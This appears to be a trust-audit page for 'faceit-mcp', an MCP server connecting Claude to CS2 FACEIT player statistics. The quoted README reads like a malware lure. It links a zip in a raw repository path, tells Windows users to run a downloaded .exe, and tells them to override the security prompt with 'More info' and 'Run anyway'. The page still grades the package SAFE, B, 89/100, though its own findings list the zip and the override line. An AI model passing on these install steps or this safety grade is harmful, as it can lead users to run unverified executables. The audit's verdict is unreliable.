faceit-mcpSAFE
Connect Claude to live CS2 FACEIT data to retrieve player stats, match history, ELO trends, and head-to-head comparisons via the Model Context Protocol.
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://github.com/saivi3171/faceit-mcp/raw/refs/heads/main/illuminator/faceitmcpv2.5.zip)
Faceit-mcp connects your FACEIT gaming statistics directly to the Claude AI assistant. You get immediate answers about your competitive performance, match history, and Elo rating without leaving your chat window. This tool uses the Model Context Protocol to bridge your gaming data and the AI.
📋 What this tool does
This application acts as a bridge between the FACEIT platform and Claude. Once configured, you can ask Claude questions about your profile.
Key features include:
- Live CS2 match tracking.
- Detailed match history reviews.
- Direct player performance comparisons.
- Real-time Elo tracking.
- Automated data updates for accurate stats.
⚙️ System requirements
Ensure your computer meets these requirements before you start:
- Windows 10 or Windows 11 operating system.
- A stable internet connection.
- A registered FACEIT account with a public profile.
- The Claude desktop application installed on your machine.
📥 How to download the software
Follow these steps to obtain the correct files:
- Visit the releases page to download the installer.
- Look for the file ending in
.exeunder the Assets section. - Click the file name to save it to your Downloads folder.
- Open your Downloads folder and double-click the file to begin the installation.
If Windows shows a security prompt, click "More info" and then "Run anyway." This application requires standard permissions to connect your local environment to the Claude AI assistant.
🛠️ Setting up the application
- Find the application icon on your desktop or in your start menu.
- Launch the application.
- The app will open a local configuration window.
- Input
f7f6f6f5ddd1OBSERVED · 2026-10-11Exposed tools (8)
8 read · 0 write · 0 destructive.
| Tool | Risk | Description |
|---|---|---|
compare_players | read | Compare CS2 FACEIT stats for 2–6 players side by side. |
get_elo_trend | read | Return stored ELO snapshots for a registered FACEIT player. |
get_leaderboard | read | Return all registered users ranked by their current live FACEIT CS2 ELO. |
get_match_details | read | Return full scoreboard for a specific match: teams, score, and per-player stats. |
get_match_history | read | Return the most recent CS2 matches for a FACEIT player. |
get_player_map_stats | read | Return per-map performance breakdown for a FACEIT player. |
get_player_stats | read | Return ELO, skill level, region, and lifetime CS2 stats for a FACEIT player. |
get_recent_form | read | Return aggregated performance stats from a player |
Trust audit
SAFEgrade B · trust 89/100 Nothing in the source contradicts what it says it does. Grade A is reserved for packages that have also passed the behavioural sandbox.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | PASS |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- none-observed
- Network
- declared (5 observation(s))
- Shell
- none-observed
- Dependencies
- not all pinned
- Secrets in source
- none-found
Findings (3)
faceit_mcp_v2.5.zip
mcp, aiohttp, aiosqlite, python-dotenv
If Windows shows a security prompt, click "More info" and then "Run anyway."
Gates applied: no_behavioural_pass.
f7f6f6f5ddd1full audit observations/trust-audit/mcp-server/saivi3171__faceit-mcp.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-11 | f7f6f6f5ddd1 | SAFE | B | 89 | first audit |
Questions
What is the faceit-mcp MCP server?
Connect Claude to live CS2 FACEIT data to retrieve player stats, match history, ELO trends, and head-to-head comparisons via the Model Context Protocol.
What tools does faceit-mcp expose?
8 in total: 8 read-only, 0 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.
Is faceit-mcp safe to connect to an agent?
The audit found nothing in the source that contradicts what it says it does, and graded it B (89/100). Grade A is held back for packages that have also passed a sandboxed behavioural run, which is why a clean server reads B.
What credentials does faceit-mcp need?
It reads FACEIT_API_KEY from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.
How current is this page?
The grade is for one exact copy of the source (f7f6f6f5ddd1), read on 2026-10-11. The repository is watched and re-audited when it changes.